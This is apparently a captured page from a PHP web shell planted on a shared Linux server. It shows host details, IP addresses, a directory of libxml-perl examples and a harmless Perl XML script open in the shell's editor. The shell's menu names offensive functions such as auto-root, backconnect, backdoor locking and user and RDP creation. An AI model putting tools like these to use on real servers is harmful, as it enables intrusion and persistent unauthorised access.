Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libxml-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
MyHandler.pm
339
B
-rw-r--r--
esis-test.pl
377
B
-rw-r--r--
myhandler.pl
286
B
-rw-r--r--
myhandler.xml
121
B
-rw-r--r--
perlsax-test.pl
270
B
-rw-r--r--
schema.pl
1.4
KB
-rw-r--r--
schema.xml
405
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : schema.pl
# This template file is in the Public Domain. # You may do anything you want with this file. # # $Id: schema.pl,v 1.1 1999/08/10 21:43:50 kmacleod Exp $ # # This is the example script in the XML::PatAct::ToObjects module doc, # it also uses XML::PatAct::MatchName and is an example of using PatAct # modules. use XML::Parser::PerlSAX; use XML::PatAct::MatchName; use XML::PatAct::ToObjects; my $patterns = [ 'schema' => [ qw{ -holder } ], 'table' => [ qw{ -make Schema::Table } ], 'name' => [ qw{ -field Name -as-string } ], 'summary' => [ qw{ -field Summary -as-string } ], 'description' => [ qw{ -field Description -grove } ], 'column' => [ qw{ -make Schema::Column -push-field Columns } ], 'unique' => [ qw{ -field Unique -value 1 } ], 'non-null' => [ qw{ -field NonNull -value 1 } ], 'default' => [ qw{ -field Default -as-string } ], ]; my $matcher = XML::PatAct::MatchName->new( Patterns => $patterns ); my $handler = XML::PatAct::ToObjects->new( Patterns => $patterns, Matcher => $matcher); my $parser = XML::Parser::PerlSAX->new( Handler => $handler ); $schema = $parser->parse(Source => { SystemId => $ARGV[0] } ); require 'dumpvar.pl'; dumpvar('main', 'schema');
Close